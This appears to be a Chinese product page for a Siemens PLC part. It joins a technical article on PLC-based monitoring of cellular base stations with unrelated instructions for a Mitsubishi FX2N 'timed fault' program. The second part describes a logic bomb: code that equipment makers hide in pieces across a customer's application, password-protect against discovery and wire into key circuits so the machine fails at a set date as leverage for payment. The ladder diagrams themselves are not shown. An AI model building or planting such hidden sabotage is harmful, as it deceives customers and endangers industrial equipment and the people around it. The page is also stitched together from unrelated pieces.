6ES7221-1EF22-0XA0产品特点
现代移动通信网采用了蜂窝结构的小区制,实行频率复用,以提高频率的利用率。为了达到覆盖要求,增加通信用户容量,就必须建立大量的移动通信基地站。由于基站的数目多,分布广,单靠人工对基站进行巡查是困难的,有必要建立对基站状态的自动监测系统,以方便对基站的维护和管理。
可编程序控制器(PLC)作为新一代的工业控制装置,其结构简单、性能优良、可靠性高、抗干扰能力强,易学易用,并可进行在线修改,已被广泛地应用于冶金、矿业、机械、轻工等工业控制领域,为工业自动化提供了有力的工具。目前PLC功能日益增强,特别是在配备了某些模块后(如A/D、D/A等),可对模拟量进行采集和控制,并可具备远程通信的功能,这使PLC的应用领域大大扩展。基于PLC的优点,我们把PLC应用于蜂窝移动通信网基站的参数采集,可对基站的发射功率、驻波比、交直流电源的电压等进行实时监测,并可采集基站内的火警、盗警等信息,利用PLC的远程通信功能把信息送回监控室,实现基站的无人值守。
1 基站参数采集系统的构成
根据对基站监测的要求,这套系统要对基站各信道发射机的发射功率、反射功率、基站设备用的24V和12V电源电压、交流电源的电压、整流告警和熔丝告警等信息进行实时监测,并能对基站的房间气温及防火、防盗等安全信息进行监测。
系统的组成如图1所示。系统的核心是数据采集器,各信道的发射功率和反射功率经变送器变换为0~5V的模拟电压后送给数据采集器;交流电压、12V直流电压、24V直流电压也经过变送器变为0~5V电压送往数据采集器;房间气温由温度传感器探测后转为0~5V电压送给数据采集器;整流告警、熔丝告警信息为开关量,烟感、温感探测器组成防火报警系统,其输出为开关量,红外防盗报警器也输出开关量,这些开关量都送往数据采集器进行采集。
图中的数据采集器由日本松下电工公司生产的小型PLC产品FP1实现。FP1是小型机,但性能价格比高,硬件配置较全。它可以通过增加I/O模块来进行扩充,大可扩充至几百点;通过扩充A/D模块,可实现对模拟量的输入;机上配有RS232接口,可实现PLC与PC机之间的通信。比较容易配置成数据采集系统。
2 用FP1实现的数据采集器
数据采集器由FP1-C24主控单元扩充A/D单元组成,如图2所示。其中A/D单元负责模拟量的输入,而主控单元负责开关量的输入及为模拟量作多路选择开关。
FP1的A/D单元有四个模拟输入通道(CH0~CH3),其占用的I/O通道分别为:
CH0——WX9 (X90-X9F)
CH1——WX10(X100-X10F)
CH2——WX11(X110-X11F)
CH3——WX12(X120-X12F)
每个通道可以以电压或电流输入,分辨率为满量程的1%,电压输入时输入范围是0~5V或0~10V可选。本系统采用0~5V电压输入。由于每个主控单元只能带一个A/D单元,而每个A/D单元只有4个输入通道,为了能测量更多的模拟量,需要利用多路选择开关选择模拟量后再输入A/D模块。在本系统中,CH2通道作12V电压测量,CH3通道作24V电压测量,而CH0和CH1通道经过多路选择开关扩展后作发射功率和反射功率的测量以及作基站室内气温和交流电压的测量。
C24主控单元有16个输入口(X0~XF)及8个输出口(Y0~Y7)。输入口X0~XF作开关量输入,X0~XF分成两组,其中X0~X7用于熔丝告警、整流告警等信号的输入,对这类信号系统不需要锁存;而X8~XF用于防盗报警、火灾报警等信号的输入,对这类信号系统要对出现过的情况进行锁存,直到监控室发命令复位为止。用于X8输入锁存的梯形图如图3所示,用于X9~XF锁存的梯形图与图3类似。PLC内部通用寄存器R148~R14F分别用于X8~XF的锁存,R15D作复位寄存器,由PC机通过RS232口送命令来置位或复位,当它被置为导通时R148~R14F被复位,当R15D被置为开路时,X8~XF监视输入信号。
输出继电器Y2~Y7用作多路选择开关,其连线如图2所示。其中Y2、Y4、Y6作为一组,送到Y2、Y4、Y6的信号经过选择后送到A/D单元的CH1通道,用于发射 功率和交流电压测量;Y3、Y5、Y7作为一组,选出的信号送往A/D单元的CH0通道,用于反射功率和室内气温的测量。PLC进行编程使Y2、Y4、Y6及Y3、Y5、Y7轮流导通,如图4所示。当相应输出继电器导通时,相应信号接入A/D单元的CH0或CH1通道,读取这时CH0和CH1通道A/D转换的值(WX9,WX10)存入对应的存储单元,即可实现对多路模拟信号的采集。为了避免在切换输入时读入的数据不确定,必须在切换前停止读取A/D值(WX9,WX10),如图4所示。由于基站每个信道的发射功率和反射功率要读取才能得出驻波比,要分成两组多路选择开关,Y2、Y3导通采集,Y4、Y5和Y6、Y7也一样。如要采集更多的模拟量输入,可采用带有更多输出继电器的主控单元(如C40)及增加扩充I/O模块(如E8,E40等)。
Y0输出继电器用于烟感报警器的复位用。
3 PLC与PC机的通信
FP1可通过RS232口或RS422口与PC机进行通信,PC机通过通信口可以设置PLC、对PLC进行编程、对PLC的继电器和寄存器的状态进行读取或设置。FP1采用日本松下电工公司的专用通信协议即MEWTOCOL-COM标准协议,其格式如下:
其中BCC是块检查码,由前面的字符按一定规则产生,松下电工公司已给出了BCC的生成程序;CR是结束码,值为0DH。
FP1-C24主控单元带有RS232和RS422口,本系统把RS422口用于对PLC进行编程,而把RS232口作为与计算机的远程通信口。PLC把采集到的基站信息经过预处理后存在内部通用数据寄存器DT100~DT145单元,对PC机用VB编程,通过COM2口向PLC发送数据块读取命令RD,PLC收到命令后把DT100~DT145的数据通过RS232口送给计算机,这些数据经计算机处理后在显示器上显示,从而实现对基站的监测。PC机通过向PLC发送写触点命令WCS设置R15D及Y0,可实现对锁存了的X8~XF信号及烟感报警器的复位。程序流程如图5所示。
本系统把PLC用于数据采集,在扩充了A/D模块后,利用PLC的输出继电器构成多路选择开关,从而实现对多路模拟信号的采集。由于PLC的优点,用PLC构成的数据采集系统具有可靠性高、抗干扰能力强、构成方便等优点。经过实验表明,用PLC实现的数据采集器能可靠地工作
、定时触发故障PLC程序(PLC为实时时钟)
该程序是用三菱PLC编程软件GX DeveloperV7.08J(SW7D5C-GPPW)简体中文版所编的程序,仅适用于三菱FX2N系列PLC。
该程序是为设备制造商收取剩余款项而设的筹码,在设备制造商老板有要求时可以使用,仅适用于信誉度不好的客户。该程序一旦触发,无论设备是否处于运行状态、PLC是否处于运行状态或通电状态,指定时间以后将会准时出现故障。请谨慎使用!
该程序应当嵌入应用程序之中,为避免他人识破,可以将程序分成多块分别嵌入在应用程序的各个地方。
为避免他人修改你的程序,应当将整个程序进行加密——设置口令,具体操作方法请参阅程序加密的相关说明。
M490为故障触点,应当串联或并联在程序多个关键动作回路中。
X20为定时触发故障复位端子,要求该端子为没有被使用的端子(否则请更换为另一个没有被使用的端子)。需要解除还没有被触发的故障或已经触发的故障时,将该触点和PLC的输入COM端短接即可。如果系统当前时间还没到故障触发时间,一旦该端子与COM端子断开,故障将在预定时间触发!如果系统当前时间已经过了指定的故障触发时间,一旦该端子与COM端子断开,故障将立即触发!如果需要重新指定故障触发时间,就必须得更改指定的故障触发时间——需要对PLC进行编程!
该程序指定的故障触发时间为2007年1月1日0时0分0秒,可以进行更改。
该程序中所用到的通用继电器M481-M499、定时器T198、存储区D0-D5,请不要在程序的其它地方使用,否则该程序可能无法正常发挥作用。
对于三菱其它系列PLC或其它品牌PLC,请对程序作相应更改——各存储器请按照相应存储区域进行更改。
该程序并没有修改PLC的系统时钟,程序中的其它地方或和PLC通信的其它设备所调用的PLC系统时钟反映的是正确的当前日期和时间。
在程序动作之前,应当检查PLC的系统时钟是否正确反映当前日期和时间(因为PLC的默认系统时钟可能不正确,笔者就遇到过系统时钟快一个小时多一点的情况)。检查方法如下:
启动三菱PLC编程软件GX DeveloperV7.08J(SW7D5C-GPPW)简体中文版到一个新的窗口,将电脑与PLC正确连接(具体连接方法请参阅相关说明<比如采用SC09连接电缆或等同功能电缆,加接USB转RS232电缆(需要加安装驱动)等等>),点击“在线”——“PLC读取”——“确认”(对于部分笔记本电脑(比如顶星品牌龙尊系列某型号的笔记本电脑),默认串口为COM2,这种情况下需要将COM口选为COM2,具体操作方法不再赘述),选中“软元件内存”再点击“确定”......待软元件内存传送到电脑以后,马上检查M8018(年)、M8017(月)、M8016(日)、M8015(时)、M8014(分)、M8013(秒)是否大概是当前正确时间(请注意,软元件内存只是下载时的PLC内存,并不能实时反映PLC的当前软元件内存数据。软元件内存数据中反映的系统时钟比PLC当前系统时钟要慢)。或者,采用一种更简单的方法:直接PLC在线连接的下拉菜单中选择PLC时间设置选项,就可以看见非实时显示的时钟了——这个时间是读取瞬间的时钟,不实时跟随。
如果PLC的系统时钟不能正确反映当前日期和时间,那就需要对软元件内存进行修改。修改方法为:1、直接PLC在线连接的下拉菜单中选择PLC时间设置选项,更改时间就可以了。但该方法一次性只能更改一回时间,一旦更改后时间就实时跟随了,无法再进行更改。如果需要更改,需要将该窗口关闭后重新打开,再进行时间的更改。2、通过程序的相关指令(例如MOV指令写时间对应的特殊存储区D8013~D8018或通过TWR指令来写时间,具体指令此处就不再赘述了)。
通过读出软元件内存后修改软元件内存再写回去的方法是行不通的——经过多次试验,证明了PLC在写入软元件内存时根本不会重写特殊存储区的内容,也就是说特殊存储区没被列入“软元件内存”的范围之内!
以下为梯形图:
二、定时触发故障PLC程序(PLC非实时时钟)
该程序是用三菱PLC编程软件GX DeveloperV7.08J(SW7D5C-GPPW)简体中文版所编的程序,仅适用于三菱FX2N系列PLC。
该程序是为设备制造商收取剩余款项而设的筹码,在设备制造商老板有要求时可以使用,仅适用于信誉度不好的客户。该程序一旦触发,无论设备是否处于运行状态、PLC是否处于运行状态或通电状态,一年以后(时间长短可以修改)将会准时出现故障。请谨慎使用!
该程序应当嵌入应用程序之中,为避免他人识破,可以将程序分成多块分别嵌入在应用程序的各个地方。
为避免他人修改你的程序,应当将整个程序进行加密——设置口令,具体操作方法请参阅程序加密的相关说明。
X0是定时触发故障触发端子,X0只要在PLC处于运行状态下至少动作过一次就可以了。
M490为故障触点,应当串联或并联在程序多个关键动作回路中。
X1为定时触发故障复位端子,要求在通常情况下,连续动作时间不能超过30秒(时间可以修改),否则请改为一个输入触点。需要解除故障触发功能时,让X1保持通电30秒(时间可以修改)即可。也可以将X1改为后一个未用的输入触点,需要永远解除故障触发功能时,将该触点和PLC的输入COM端短接即可。如果只是让定时触发故障复位端子接通超过30秒(时间可以修改)断开,那么一年以后(时间长短可以修改)仍然会准时出现故障。如果希望永远解除定时故障触发功能,请将定时触发故障复位端子和PLC的输入COM端短接即可。
该程序中所用到的通用继电器M480-M499、保持继电器M1023、定时器T198、存储区D0-D5,请不要在程序的其它地方使用,否则该程序可能无法正常发挥作用。
对于三菱其它系列PLC或其它品牌PLC,请对程序作相应更改——原保持继电器M1023更换后仍然具有断电保持功能,其它存储器请按照相应存储区域进行更改。
该程序动作后,PLC的系统时钟并非是实时时钟,程序中的其它地方或和PLC通信的其它设备所调用的PLC系统时钟并不能正确反映当前日期和时间。
以下为梯形图: